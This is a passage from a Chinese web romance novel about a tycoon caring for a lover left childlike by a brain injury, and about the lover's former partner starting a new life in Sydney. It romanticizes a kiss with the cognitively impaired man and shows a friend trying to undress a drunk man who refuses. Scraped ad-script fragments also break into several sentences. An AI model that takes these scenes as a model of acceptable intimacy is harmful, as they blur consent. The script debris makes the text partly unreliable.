“不管是兄弟、朋友、恋人,怎么都好,只要能让廷恩走出伤痛,不再做傻事就行。”薛婵娟抚着胸口,她把傅廷恩当亲弟,只要他平安健康的活下去,什么都能接受。 ———————————————————————— 梅奥的几位顶级神经外科专家和颅底神经外科之父萨米教授及其团队,在给曾闰成会诊之后,意见出现了分歧。 梅奥一派认为曾闰成既然失去了所有记忆,证明他的海马体受损严重,这种器质性的损伤基本不可逆,言下之意曾闰成目前的状态将维持终身。 而萨米教授团队则认为,患者保有本能且对新事物有反应,比如主动要求听故事等,说明他的颅脑在不断进行自我修复,鉴于人类大脑构造精密复杂,一切皆有可能,可以从患者受创前的生活习惯、兴趣爱好、掌握的一些技能着手,医疗结合心理治疗手段,不断刺激整个神经系统,来看可以恢复到哪一步。 萨米教授甚至亲自多次和李景麟沟通,希望可以将曾闰成作为案例来进行研究,他会定期亲自或派人来对曾闰成展开后续的治疗。 李景麟经过深思熟虑后,还是接受了萨米教授团队的治疗方案,虽然只有万一的可能,他也希望曾闰成能够回到从前。 即使他恢复记忆后,也许会对他痛恨不已,但看着原本聪慧睿智的人困在六七岁的神智意识里,看着他那双一如往昔般清澈的眼眸,却泛着懵懂无知的光芒,李景麟的内心就会泛起一丝难以名状的痛苦。如果早知道会是这样的结果,他会选择放手吗? 他在漆黑的夜色里紧拥着沉睡的躯体,看窗外的月色映照在他熟睡的脸庞,星光像一只窥探的手轻抚他的眉眼……李景麟按上了电动窗帘,将他搂入怀中,看着他如今的样子的确令他难受,可如果让他和别人双宿双飞,看他们亲吻缠绵……他更难受。 曾闰成的身体状况进入平稳期后,他们离开了瑞士皇家疗养院,搬回了德国的古堡,鉴于各类杂志报刊对李景麟私生活的热衷,他严令加强了奔龙堡的安防措施。 原本就固若铁桶,现下更是从领空到护城河都处于高度警戒状态,任何陌生面孔未经允许都不能进入奔龙堡的领地范畴。 李景麟的工作重心完全的转移到欧洲,金城的各项事宜基本都交给了副总裁谢复处理。 他一周有三四天到柏林分公司处理事务,日暮时分必定返回奔龙堡,因为曾闰成会等他一块吃晚饭。 每当私人飞机轰鸣盘旋着降落在奔龙堡的停机坪,曾闰成听到声音,总会远远的跑过来,他对这个会飞的大铁鸟十分感兴趣,睁着一双好奇的眼睛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,转悠着可以看很久,直到李景麟牵起他的手回去。李景麟暂时还不敢带他坐飞机,担心引起颅内压增高。 随着时间的推移,曾闰成的生活自理能力在不断的提高。一般情况下,会自己吃饭,但牛排需要给他切好,虾蟹需要给他脱壳,李景麟不喜欢餐桌上有别人,所以这些工作厨师会提前准备。 但如果碰上曾闰成犯懒,拖着两只手靠在餐椅上,垂着眼睛撅着嘴,李景麟就会放下刀叉,亲自喂他,有一次熬的海鲜粥里有贝柱,曾闰成直接吐出来,李景麟伸手给他接住,把路过餐厅瞥见这一幕的Tina惊得目瞪口呆。 李景麟倒是一脸自然的吩咐,“去跟厨房说,他不喜欢吃有海腥味有嚼劲的东西,下次不要放。” Tina本来照顾曾闰成就十分细致,这次之后更是打起十二万分的小心,把整个奔龙堡的仆从都敲打叮嘱了一遍。 李景麟付她比专职按摩师时高三倍的薪水,让她担任曾闰成的贴身管家,负责他的一切饮食起居。Tina并不完全是冲着高薪,在曾闰成没有受伤之前她就欣赏他的性格,现在更是心疼他的遭遇,因此照顾得十分用心。 尽管曾闰成现在就像一个拥有成年人躯体的小孩子,经常跑到花园里看蚂蚁搬家,随意的匍匐或者席地而坐,甚至直接玩泥巴,她也从不厌烦,总会及时给他清理、换洗衣物,让他时刻保持干净、整洁。 苏秘书隔段时间便会跟她联系,了解曾闰成恢复的状况。 两人用粤语讲着电话,Tina小声把看到的那一幕告诉她,“打死也想不到,老板会为他做到这个地步,我是从没看老板给乾达少爷和芷蓝小姐讲过故事,更别说喂饭。” 苏秘书听了这些细节也惊得合不拢嘴,又叹气,“早知今日,何必当初。”她也怨怪自己,“这事怪我没有处理好,年中回老宅,老爷子也敲打了我。” “老爷子知道闰成的事?”Tina大感惊悚。 “知道一半,跟傅家的恩怨是不清楚的,老板已经不是十年前了。”十年前,老爷子可以说对李景麟的大小事情了如指掌,但儿子大了,羽翼丰满,逐渐脱离了掌控。 “乾达少爷满十二岁了吧?” “是,下个月会送回老宅。” 按照李家的规矩,孙辈满十二岁,统一送回港城老宅,由隔辈亲自教养,从中筛选出最合适的继承人,同时为他物色一应人选,打造属于他的班底,就像当初的李景麟和苏茜。但也因为这种传统,父子之间的关系并不亲厚。 “苏茜,你是不是想退休了?”她们私交甚笃,关起门来可以说说心里话。 “还早呢,无所事事反倒没有意思,只是最近有些累。”李景麟工作重心转移到欧洲,苏秘书必须留在金城制衡谢复,长期待在柏林分公司的是徐理和齐越,苏茜虽然年薪比他们高,但也远比他们辛苦。 “等忙完年终年会,你可以休息一段时间。”Tina也跟着叹气,“我这两年都不一定有休息,上个月抽空回了一趟港城,结果闰成到处找我,老板让我随时在岗。多亏我没有男朋友。” 苏秘书犹豫了一下,还是问道,“那晚上……” Tina懂她意思,“老板亲自陪,但是……没有。” “一次也没有?” “嗯。”如果有那方面的动静,是瞒不过贴身服侍的人的,当然李景麟也不会瞒。“老板召过几次那个屈……” “屈励阳?” “对,是这个名字,但都是等闰成睡着了,偷偷起身,完事又偷偷回去。” Tina有时候都搞不懂,为什么老板解决生理需求要搞得跟做贼一样,明明曾闰成不懂也不会在意。“而且他不允许那个屈励阳跟闰成见面,总是第二天一早就将人送走了。我总觉得老板变了好多。” “怎么可能不变,”苏秘书叹着气,“老板识情懂爱了。”懂得情爱其实与年纪无关,有的人十八岁就懂,有的人可能三十八岁才懂。 71.第 71 章 李景麟采用萨米教授团队建议的治疗方案,先从曾闰成之前的兴趣爱好着手。 奔龙堡本身就装修了一间超大的书房,是古堡中唯一纯中式装修的房间。 宽大的黄花梨木书桌、座椅,紫檀木笔架上悬挂着各类型号羊毫、狼毫笔,青花端砚中浸润着松烟墨条。 李景麟本身也是书法爱好者,对于他们这种有底蕴的家族,毛笔字是从小必修的课程之一,但他于此道不算很有天赋,至少比不上曾闰成。 如果说李景麟第一眼是看上了曾闰成的脸,第二眼就看上了他的字。 初次见面的那个冬天,他给站在他办公室的腼腆大学生提供了一份寒假工作。 其实严格意义来说,不算初次见面。按曾闰成的说法,他八年前到过他们大梁山区,给他们修了一条路,并且资助了一批贫困学生。 李大总裁当然对此全无印象,但是看着那抹挺拔的身影,俊秀的面庞,他颇有兴趣的表示:“原来你考到金城了,不错,哪个学校?” “金城师范大学。”曾闰成答话很恭敬,是对长辈、对资助者的谦逊态度。 “嗯,”李总裁一脸欣赏,“看样子是读书的料,其实我们集团可以继续资助你,每个月来领一次生活费。苏秘书……”他转向一旁候着的苏秘书。 曾闰成却抬眸道,“不用了,谢谢李总,我们师范类院校减免学费还有生活补贴,不需要再占用资助的名额。”他踌躇了一下,“如果您能给我一份寒假工作……我将十分感激。” 他似乎有些不好意思,脸庞泛起一层红晕,越发映衬得眉目如画。 李景麟当时便觉得,跟一根羽毛拂过心脏似的,带起一阵瘙痒。 曾闰成走后,他特意让苏秘书找来了八年前的照片,但凡总裁参与的各项活动公司均有留档。 二十二岁的李景麟和十二岁的曾闰成站在一起,面对镜头展露微笑。那时他刚从哈佛毕业,按家族安排接手君临,正是意气风发的时候。而曾闰成穿着朴素,但样貌清秀,还系着红三角,一脸的稚气。 “唔,长开了。”李景麟手指划过那张稚气的面孔,回想起刚从他办公室离开的身影。 为着这点渊源,他破格让曾闰成加入了君临集团的策划部,从事文案方面的工作。 以曾闰成当时的资历当然不可能接手什么核心任务,无非就是誊抄各类对外需要手写的宣传标语、整理收集创意文案。 因为他的出现,原本寂寂无声的策划部博得了老板的一丝关注,有一次李景麟在公司待到比较晚,下楼的时候突然心里一动,按了电梯到十五楼。 策划部的办公室果然亮着灯,他特意放轻了脚步走近,隔着玻璃窗,是曾闰成泼墨挥毫的身影,他微倾着上半身,悬腕提肘,笔走龙蛇。侧对着他的脸庞在日光灯的氤氲下,线条起伏如山峦,显得分外精致。 看见李景麟带着秘书走进来,曾闰成也没有特别慌张,先收势,放下笔,才抬起头跟他打招呼:“李总。” “怎么还不下班?你们部长让你加班?”他语气里带着点不悦。 曾闰成连忙否认,“不是的,我是特意等大家都走了,人少心更静,能写得好一点。” 他走近了细看,内容是周年庆公司刊物上的题刊,套路化的“励精图治,继往开来”,但少年笔触锋利,铁画银钩,入木三分。他不由得赞了声好…… 李景麟看着坐在书桌前的身影,仍旧如当年一般脊背挺直,他好奇的拿起笔,很自然就是握笔的姿势,这是刻在他肌肉里的记忆。 然而他却怔愣在那里,似乎不知道接下来该怎么办。 李景麟走过去,握着他的手,写下一撇,再一横,再竖钩,曾闰成的手微微颤抖,却没有拒绝,也没有挥开,看着纸上出现的“我”字,转过头愣愣的看着李景麟。 李景麟示意了一下口型:“我。” “我。”曾闰成学舌般跟着重复了一遍,又转过头去,紧紧握着那笔,显然还想继续。 李景麟于是握着他的手,浅浅醮墨,在生宣上写下一个又一个“我”。 二三十遍之后,曾闰成挥开他的束缚,自己擎着笔,稳稳的写下了一个“我”字,然后抬起头,用求表扬的眼神看着他。 李景麟内心一阵狂喜,他轻抚一下他柔软的发顶,竖起大拇指,“闰成写得真棒!” 他用肢体语言表达赞赏,这是萨米教授的要求,“患者的每一点进步一定要及时的给予肯定和鼓励,就把他当成六七岁的小孩子,做得好的要大力表扬,做错了的也要批评,用表情、口头及肢体语言表达情绪。先让他逐渐感知到本我、自我这二者的区别。” 曾闰成果然大受鼓励,在李景麟握着他的手写下第二个字后,他接受的速度明显更快,不过十几遍,就可以自行握笔写出来。 第三个字比前两个要略微复杂一点,曾闰成被他握着手写过几遍后,有些坐不住了,不肯再握笔,身体不断扭来扭去,要离开书桌。 他是无意识的举动,却对坐在他身后的李景麟造成了极大的折磨。他深吸口气,极力抑制着身体的悸动,摇铃让厨房送了些酸奶和坚果上来,是曾闰成平时比较爱吃的。 两人离开书桌,曾闰成被地毯上的花纹吸引,蹲在地上用手指描摹着。 他近来已经慢慢养成了自己吃东西的习惯,但李景麟看他目光专注的盯着那些繁复的图案,便将坚果混入酸奶中,蹲下身去,一勺一勺舀着喂他。看他很听话的吞咽,他感受到一点投喂的快乐。 Tina知道下午要上书法课,但仍给曾闰成穿了米白色的薄毛衣,这个颜色映衬得他本来就白皙的肤色简直牛奶一般,温润丝滑。 他张开红润丰盈的唇瓣,将李景麟递过去的食物含在嘴里,酸奶浸润在他的嘴角和唇齿之间,他还不时的舔唇卷吸。 李景麟看着他无意识的动作,无法控制的向他凑近,曾闰成不知道躲闪,抬头笑嘻嘻的看着他,李景麟却在碰触到他嘴唇的前一秒闭上眼睛,偏过了头。 他颓然的退开了,看着那张称得上天真无邪的笑脸,深深的叹了口气。这都是自己作的孽吧。 吃点东西,玩了一会,曾闰成恢复了耐心,李景麟拿热毛巾帮他擦了手,牵着他回到桌前,仍旧是握着他的手一笔一划写第三个字。 笔序复杂,明显比前面两个字多花不少功夫,但最终曾闰成还是单独执笔把这个“爱”字写了出来。 “我-你-爱。”曾闰成按照书写的次序一字一顿的念。 “不对,”李景麟纠正他发音顺序,“我-爱-你。”他看着曾闰成写出来的那三个字,却是一怔,那是板正的偏向他的笔迹,并不是曾闰成原来的字迹。 他像一张白纸,由着他来描摹。李景麟只觉得心里堵得厉害,他像是回来了,可又像是消失了。 他的心头翻涌着复杂的情绪,再也忍不住,伸手将曾闰成搂进了怀里,“闰成,我爱你。” 他搂着熟悉的肩背,却莫名有种想要落泪的冲动,“我爱你。”他低低的呢喃,也许你永远都不会知道了。 曾闰成却在他怀里抬起头来,“景麟,”他知道李景麟和Tina的名字,但很少会喊,“我-爱-你。” 明知道他只是学舌,李景麟的心头却仍然爆发出巨大的震荡,他愣愣看着那双眼睛,颤 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 抖着声音道:“你再说一遍?” 曾闰成看着他笑,“景麟,我爱你。” 李景麟脑海里“嘭”的一声,似乎有烟火四散开来,这是他渴盼已久的场景,曾闰成在暮色微光里,笑吟吟的看着他,对他说爱。 他再也无法抑制内心的悸动,几乎是颤抖着靠近那张熟悉的面庞,他的唇齿之间仍充盈着酸奶和坚果的香气,他似乎很好奇李景麟的举动,既没有躲闪,也没有回应,只是半张着唇,愣愣的坐在他双腿之间。 李景麟伸手合上他的眼睛,“乖,”他低声的安抚他,唇舌温柔的在他的唇齿之间游移,轻轻的舔舐,低低的喘息。 “闰成……”他不停轻唤着他的名字,用舌尖不断在他的口腔里游弋,终于,原本静默的唇舌有了反应。 曾闰成学着他的样子,伸出舌头与他绞缠,唇齿与他磕碰在一起,他似乎很紧张,双手掐着他的肩膀。又似乎找到了乐趣,带着点莽撞的啃咬…… 许久之后,两个人气喘吁吁的分开来。曾闰成笑眯眯的问他:“好吃吗?”就像每次Tina给他吃一样之前没吃过的食物,那样轻柔询问的口气。 李景麟呼吸停顿了两秒,点点头,“好吃,”他轻抚着曾闰成微肿的唇瓣,“不可以给别人吃,知道吗?” “为什么?”曾闰成不解,他微偏着头,一脸懵懂无知的表情。他现在是好奇宝宝的状态,所有不理解的事情都要问为什么。 李景麟叹了口气,把他搂进怀里,“因为每个人都只可以给一个人吃,你给我吃了,就不可以给别人吃了。还有,”他掰过他的脸庞,看着他的眼睛,“‘我爱你’这三个字也不可以跟别人说,只可以跟我说,知道吗?” 曾闰成很乖顺的点点头。 李景麟叮嘱了行为,叮嘱了对象,忘记叮嘱场合。 奔龙堡整体是一个L型的建筑,长边用来接待访客,会客室、客房、娱乐设施都安排在这一边。短边是他和曾闰成自住的场所,餐厅、书房、主卧分楼层排布。 秋日的下午,罗斯尔德勋爵到访。他是奔龙堡的常客,他的庄园离奔龙堡不远,单人驾马而来,他十分风趣且健谈,两人聊了一下午,不觉就到饭点。秘书早吩咐厨房安排了晚宴。 罗斯尔德跟李景麟有多年交情,勃朗庄园就是他接手的,两家在商场上互有往来,向来不会跟他讲客气,“查理,你家厨子烤鹿肉做得不错,要是能搭配你们华国的茅台想必比威士忌更合适。” 罗斯尔德酷爱华国的白酒,这也是他经常来奔龙堡蹭饭的原因。 “当如阁下所愿。”李景麟淡笑道,吩咐厨房去酒窖拿窖藏的飞天茅台,他领着罗斯尔德穿过长长的走廊,身后还跟着徐理和齐越。 他一下午没有看见曾闰成,步伐都有些急切。远远看见他穿着黑色毛衣的身影,正坐在长长的欧式餐桌前慢条斯理的用餐。他如果喊饿,厨房就会先准备他的餐食,这是李景麟早就吩咐过的。 李景麟也不觉得失礼,他看着他侧坐的优雅身影,恍惚间是多年前他来参加他的生日宴会,坐在人群中也是熠熠发光的模样。 罗斯尔德因为常来,是见过曾闰成的,并且知道他目前的精神状态,他调侃着笑道,“啊,是你的小朋友。”他讲的英语,“little boy.” 曾闰成听到动静,看到门口的熟悉身影,放下手里的刀叉,小跑着冲过来,一把搂住李景麟,在他骤然睁大的眼睛里,踮脚吻上他的嘴唇,不停啃咬,“不想吃饭……我想吃这个……” 身旁的罗斯尔德、身后的徐理齐越、不远处的Tina齐齐看过来。饶是面皮厚如李景麟,也难得的红了脸。 72.第 72 章 一场自杀风波过后,或许是情绪彻底的发泄出来了,傅廷恩开始恢复正常,全身心的投入工作。他接手的分公司是一家新能源公司,主营业务是光伏和储能这两块。 澳洲电力基础比较差,一场暴风雨可能导致一个城市一半停电,但它的太阳能和风能资源很丰富,几乎家家户户都会安装太阳能发电板。 傅氏在澳洲经营多年,市场上一半以上光伏的安装来自傅氏的FGL公司。 傅廷恩接手以后,进一步巩固了与澳政|府的关系,当局本身就支持分布式光伏的发展,每户安装可以补贴2000澳币。而江家在金融业资深,江永安调到澳洲来后,两家联手,将安装费用的另外4000澳币做一个低息贷款并加以推广,这使得两家在光伏和金融业的市场份额都有进一步扩大。 “现在关键要解决储能的问题,”宽大的会议室里,傅廷恩一身正装,身姿笔挺潇洒,沉稳自如的向江善英、江永安及江氏几个高层展示模型测算,这是数学在金融领域的应用,“现在电网回收的单价,每度电2分5,单赚峰谷差价利润只有7个点。如果能解决储能问题,至少可以提升10个点。” 江善英秀眉微皱,“利润是很可观,但傅总要考虑储能的成本问题。” 她是江家在澳洲的负责人,也是江永安的亲姑姑,三十六、七岁的年纪,未婚未育,是典型的女强人。 傅廷恩点头,“这也是我今天邀请几位过来的目的。储能市场潜力巨大,各家都看好。根据行业最新讯息披露,国内有一款储能在国际平台得了设计大奖,它的特点是轻薄可移动且造价低。”他将这款储能的外形结构投放在大屏幕上。 傅廷昀适时接话,“如果我们两家联手,拿下专利权,尽快投入生产,就能抢占市场先机。” 江善英很清楚,这块蛋糕傅氏之所以邀请江氏一块吃,是源于储能产品进澳洲首先要通过澳洲的CEC认证,而江家在各项产能的认证这一块一直走在前列。 企划方案傅氏在一周前就已送达江善英的办公桌上,公司有召开高层会议仔细研究过,结合今天傅廷恩的现场展示,两家达成了初步的合作意向。 傅氏安排了晚宴,两家在澳洲合作多年,几个高层之间都很熟稔,一顿饭吃得随意又尽兴。 傅廷昀很高兴看到傅廷恩终于走出情感的泥潭,而且甫一踏足职场就老练周到,如今更是展露锋芒,几个公司的高层向傅廷恩敬酒,他也没拦,笑呵呵的看着。 都是公司元老,算是傅廷恩叔伯,至少也是哥,但凡来敬酒都只能满杯干了。他回敬之后又敬了一圈江氏的人,饶是酒量不错,也有了七分醉意。 江永安扶着他上了车,冲傅廷昀喊道:“廷昀哥,我送他回公寓。” 傅廷昀看着江永安驾车离去,“哎”了两声,到底还是没有多说什么。 江永安将傅廷恩扶到床上,给他脱了鞋,又搓了热毛巾给他擦脸,小心的将他腕上的手表取下,原本较粗的伤口已经淡成了一线红痕。 他熟练的从床头柜里摸出一管凝胶,轻柔的涂抹在那道痕迹上,“这疤痕消效果还可以。”江永安低语道,要是有一块橡皮擦能把那个人从他心上擦掉就好了。 傅廷恩抬起手腕,醉眼朦胧的看了一眼,“不早了,永安你早点回去吧。”他转过身去背对着他。 江永安却没有动,视线在他宽广的肩背、利落的腰线和笔直的双|腿|间游移,半晌,突然把傅廷恩的肩膀掰过来,急切的吻上了他的唇角。 “要死,”傅廷恩当他开玩笑,醉笑着把他推开,“是我喝多了还是你喝多了?赶紧滚吧……” 江永安不答话,伸手去解他皮带,傅廷恩扣住他手,“永安,咱俩是朋友……” “朋友变炮|友不行吗?”江永安一边动手扒衣服一边凑到他耳边,“你不想做吗?跟我做吧……” 他来澳洲这两个月,一直素着,看着傅廷恩薄醉的眉眼和矫健的身线实在有些忍不了。 傅廷恩推拒躲闪着,但今晚确实喝得有点多,力气小了不少,被江永安按着扒了西装长裤。 “永安,不要闹,你是知道我心里……” “我又不要你的心,我只馋你身|子。”江永安按着他肩膀,“难道你还为他守一辈子?与其跟别人做,不如便宜了我……” 傅廷恩都要被他这话逗笑了,摊开双手,“我喝多了,真的,满足不了你……”他醉得眼尾发红,胸膛都渗出一层薄汗。 江永安看得火起,扑上去想要吻他,傅廷恩使劲把他掀一边,“永安,我不想跟你搅和进这种关系。” 江永安犹不死心,“现在HIV满天飞,咱俩一块至少安全可靠。这两年我们都要奔事业,我反正是不打算谈恋爱,有想法就睡一睡,不好吗?” 傅廷恩看他来真的,皱眉叹了口气,伸出两根手指抵在他前额,低声道,“在我彻底忘记闰成之前,我不会再进入下一段感情。我也不需要身体的慰藉……如果你执意这样,咱俩的关系只能在朋友和炮|友之间二选一。” 江永安愣住,退开身体,将一根烟叼嘴里,点上火,嘟囔道,“选个屁啊选,”半晌之后,他颓然的叹道:“我就这么差吗?即使没有那个人你也不愿意跟我在一起?”他靠着床曲腿坐在地上,低下头,“即使我能忍受你心里有别人,也不行吗?” 傅廷恩勉力撑起身体,靠坐在床头,从一旁的烟盒里抽出一根点上,烟雾在他的指尖缭绕,他沉声道,“永安,你值得全心全意对你的人。你不必去忍受委屈自己,明知道他心里有别人……” “可是我愿意……”江永安转过头,他从恒雅开始就肖想傅廷恩,大学在一个城市,又是异国他乡,原本想着怎么着也能近水楼台先得月,结果傅廷恩即使放纵也没考虑过将他当成放纵的对象。看着他跟别人分分合合,除了遗憾自己吃不到,江永安也没有产生过什么嫉妒的情绪。 后来出现了曾闰成,让他清楚的知道傅廷恩如果真心的爱一个人,会有多好多周到。现在曾闰成不在了,傅廷恩正是需要情感慰藉的时候,而他正好处于空窗期,那点子不甘心实在有些按捺不住。 傅廷恩手里夹着烟,将被子拉到胸口,看着升腾的烟雾,低声道,“可是我不愿意,不是因为你差,换谁我都不愿意。”他深邃的眼眸里闪过一丝怅惘,“永安,我第一次失去他的时候,心里就像破了一个洞,拼命的想要把它填满修补,所以才到英国那两年,我交往了多少男男女女你是清楚的。” 他将烟移到唇边抽了两口,“可是不行,不是这个人就不行。尤其是后来,我拥有过,我得到了他的爱,我知道一颗心完完整整是怎样的,当它全心全意的爱着一个人,为他跳动的时候,是怎样激烈的节奏……”他垂下眼眸,“当你明白了这一点,你就再也不会为了肉|体的欢愉或者一时的空虚,去随便的投掷感情了。” 他说了一堆,其实江永安还是不太懂,在他看来感情和肉|体是两码事,但傅廷恩的意思他是清楚的,颓丧的从地上爬起来,走向门口,却又还是忍不住转身问道,“那……你打算这辈子就这样了?” 傅廷恩叹了口气,伸手遮住眼睛,“谁知道呢?也许有一天我会将他忘记……如果忘不了,就这样也挺好。”他滑入被窝里,低沉的声音隔着被子朦胧的传来,“他存在过,他爱过我,就是上天对我的眷顾。” ———————————————————————— 傅江两家签署正式的合作协议后,很快在悉尼市郊圈了一块地。澳洲地广人稀,地倒值不了几个钱,但人工是出了名的贵。好在傅家和江家底蕴摆在这里,类似的投资算是常规操作,产业园的规模并不小,随随便便就是两个小目标。 傅廷昀亲自飞回国内,签下了几款储能及储变器的生产代理权,两家注资,开始投入厂房的建设与生产线的安装。 傅氏和江氏都有意将这个项目交给两个踏入职场不久的后辈练手,傅廷恩和江永安便一天到晚的凑在一块,不是在工地上奔忙,就是跟各大建材供应商勾心斗角。人力资源也是关键,好在两人都有名校背景,各项资源都很丰富,团队建设得十分顺利。 既然是合作,少不得有分歧,两人公事公办,为各自代表的姓氏争取利益,经常争得脸红脖子粗,但都是以理服人,不会影响交情。有感情基础的合作就有这点好,就事争执免不了,但不用担心对方耍心机玩手段。 两人都卯着一股劲,想证明自己,百分之八十的精力都放在了工作上, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有时候累完一天,会找个酒馆喝上两杯。悉尼的gay吧很不少,两人往那一坐,不乏主动过来邀约的人士,江永安看眼缘,偶尔会找个伴,但也没有发展固定的关系。 傅廷恩则是完全的心如止水,看江永安有人陪了,他就拿外套起身。 “你去哪?”在悉尼这座城市,暂时还只有他们两个朋友,看着他落寞的背影,江永安总觉得有点可怜。 “拳击馆。”傅廷恩回头向他摆摆手,“你玩得开心。” 江永安跟着他去过两次拳击馆,被虐得大汗淋漓,呼哧着喘粗气,“难……难怪你不需要找人……发泄精力,这TM打完一场……能爬起来的都算条汉子……” 时光飞逝,就在一切渐入正轨,江永安以为这种生活节奏短期内不会被打破的时候,傅廷恩出人意料的交往了一个女朋友。 随着一栋栋厂房拔地而起,园区建设到位,生产线开始投入正常运营,稍微空闲一点,傅廷恩开始踏足悉尼的各大社交场合。 在澳洲的华人自有圈层,经常举办各种party,生日宴、满月酒、订婚结婚典礼,在江永安的印象里,傅廷恩是不太热衷这些场合的,现在却是一反常态,频频涉足。 他正是风华正茂的年纪,身高长相摆在那里,家世背景、名校学历都是加分项,很快就在上流圈层掀起了一股风浪,引来了不少爱慕、关注的目光。 江永安以为傅廷恩绝不可能轻易和谁交往,结果他在一场订婚典礼上牵起了一位姑娘的手,共跳了一曲华尔兹。 江永安在一旁看着,就像很多年前,看他和凌倩跳舞那样。傅廷恩仍是举止优雅、身形挺拔,比十八岁的少年更多了成熟的风范和从容的气度。 不少人停下舞步,看他和她脚步翩跹、点亮全场。傅廷恩深邃的目光不时滑过姑娘的脸庞,而姑娘一双含情美目更是热烈的凝视在他脸上。 一曲跳完,她的脸上泛起了玫瑰般的光泽,两人携着手,穿过人群,走进花园。 江永安鬼使神差的跟了上去。 此时十一月,华国是深秋,澳洲却是春季,气候回暖,万物复苏。 澳洲的春天是蓝紫色的,蓝花楹、紫藤花、蓝铃、蓝桉都正是盛放的时候。 这家的花园也打理得十分漂亮,修剪整齐的玫瑰花丛正好一人的高度,江永安在夜色的掩映下,站在花丛后听傅廷恩和姑娘博弈拉扯。 “……你以前一定有很多女朋友,”女声银铃般悦耳,又带着娇嗔,“是因为来悉尼才分手的嘛?” 傅廷恩“嗯”了一声,“不止女朋友,男朋友也挺多的。” 女声愣了一下,“咚”的一声轻响,似乎是轻捶了傅廷恩一下,“你太坏了……是因为你在腐国念书的原因吗?” 傅廷恩一声轻笑,“你好聪明,”他似乎伸手拂过对方的发梢令窈窕的身影微低了头,“我不是同性恋,主要看感觉,无关男女。” “那,”身影抬起头来,“你对我有感觉吗?” 片刻的静默之后,傅廷恩探头过去,轻吻了一下女孩的唇角,“你说呢,萱荑?” 江永安只觉得头脑里一阵轰鸣,好似有雷声由远及近。凉风呼呼的吹过,乌云翻滚着,却是真的打雷了,他听不清傅廷恩和这个萱荑又说了些什么。 片刻之后,萱荑一步三回头的先进去了,傅廷恩仍坐在藤椅上,“啪”的打开打火机,点燃了一根烟。 “出来吧,永安。”他咬着烟蒂,低声的喊他。 江永安做了个深呼吸,调整了情绪,从玫瑰花丛后走出来。 如水的夜色里,傅廷恩散乱着头发,曲起一条长腿,两根手指间夹着烟,不时移到唇角,白色的雾气在暗夜里弥漫。 “咳,”江永安轻咳一声,“真看上这姑娘了?”他转动着双目,看向乌云遮蔽的夜空。 傅廷恩点点头。 “这姑娘哪里好?”江永安有些不解夹杂着不甘,傅廷恩确实不能算完全的同性恋,他在牛津剑桥都交往过女朋友,江永安是见过的,大都是系花院花之流,这姑娘长相只能算中等。 傅廷恩把未抽完的半截烟扔脚边,皮鞋碾上去,唇角的笑意比夜风还要凉薄,“这姑娘名字极好,她姓王,叫王萱荑。” 73.第 73 章 王萱荑是王芝芙的侄女,毕业于墨尔本大学,今年二十六岁,比傅廷恩还要大半岁。 她已经在王氏家族旗下的企业任职,是个职场能干但性情温柔的姑娘。 她和傅廷恩的约会进展很顺利,以一周一次的频率见面。傅廷恩会很主动的约她去听歌剧、看电影、逛公园,隔三岔五的约她吃饭。 这让保有一份女性矜持美德的王萱荑十分受用,她很想见到傅廷恩,但也不想太过于主动,老话说得好,太轻易得到就很难被珍惜。 傅廷恩把尺度掌握得刚刚好,太冷落太热情都会让人觉得别有所图,对于已经二十六岁有过几段感情经历的女性来说,不温不火反倒让人觉得安心。 但她内心也有惶恐,傅廷恩的身高长相学历都无可挑剔,傅家的门第也并不逊色于王家。何况傅廷恩本人也很有事业心,年纪轻轻已经执掌一家百人企业,又与江氏合作往实业拓展。 她有时不敢相信这样的男人会看上她,虽然她也不乏追求者,但傅廷恩无疑是其中最出色的一个。 傅廷恩却从不赌咒表白,“萱荑,时间能验证一切。”他握着她的手,深邃眼眸凝视着她,“我想跟你交朋友是认真的,我不会再与其她人发展类似的关系,但我没法给你任何承诺,更不会过早踏入婚姻,如果你觉得我耽误你……”他松开手。 王萱荑却反握住他,与他十指相扣,“廷恩,我懂,先从朋友做起挺好的,我并不急着结婚,”她颇有些沉醉的看着面前男人堪称完美的面庞,流露出温柔笑意,“感情的事情要顺其自然。” 王萱荑亲自去市郊的园区看过后,对于准男友偶尔不回消息或者不能陪着闲聊表示十分理解。确实是忙,即使事有分工,很多决策性的工作都需要傅廷恩拍板。 她挽着傅廷恩的手在园区里漫步,有些踌躇的问道,“我姑姑想让你上家里吃个饭,不知道你时间方不方便?” 她忐忑的觑着傅廷恩面色,“我表弟从港城回来,他每年只有这一个月假期。我是姑姑看着长大的,表弟又是我看着长大的,我们两家关系很好。” 傅廷恩停下脚步,“我知道。”他扯开嘴角,展露一抹温和的笑意,“怎么会不方便?你提前告诉我时间,我好准备一下。” 王萱荑大大的松了口气,交往才两个月,两人的关系始终保持朋友之上恋人未满的状态,就往家里带肯定不合适,但姑姑知道她有了交往的对象,一直说要让她先审核一下,趁着表弟回来的场合,一起吃个饭,既不过于正式,也不过于随意,刚刚好。 于是在一个初夏的午后,傅廷恩穿一件亚麻衬衫,配同色系休闲西裤,鼻梁上架一副金边眼镜,手腕上一块理查德米勒,以一副休闲雅痞的形象,驾临王家的别墅。 王萱荑领着他穿过一楼的庭院,傍晚的阳光给他高大的身影镀上了一层瑰丽的光晕。 十三岁的李乾达隔着落地玻璃窗,愣愣看着那个英俊非凡笑意盎然从阳光中走来的男人,抬头问站在门口的王芝芙,“妈咪,那个就是萱荑姐的男朋友吗?他长得好帅!” 王芝芙在薛婵娟的订婚典礼上见过傅廷昀一面,虽然她跟女眷站在一起,傅廷恩没有过去打招呼,但是这个男生样貌实在太出挑,不过惊鸿一瞥,也让她记住了这张面孔。 她趁着仆从上菜的间隙,将王萱荑拉到偏厅,“你开始说这个名字我还没想起来,今天看到人我才记起,他是婵娟的小叔子。”她皱着眉思索,“婵娟订婚那天,他好像跟一个男的在一起,挺亲密的样子。” 薛婵娟订婚的时候,王萱荑刚好有事没有参加,她跟薛婵娟有几岁年龄差,性格也不相同,因着姻亲关系认识但走得不算近。 “啊,他跟我交待过,那都是以前的事了。”王萱荑不以为意,“这不是特意带来让姑姑帮我掌掌眼嘛,哎呀,我们回头再细说,把他晾在那里可不好。” 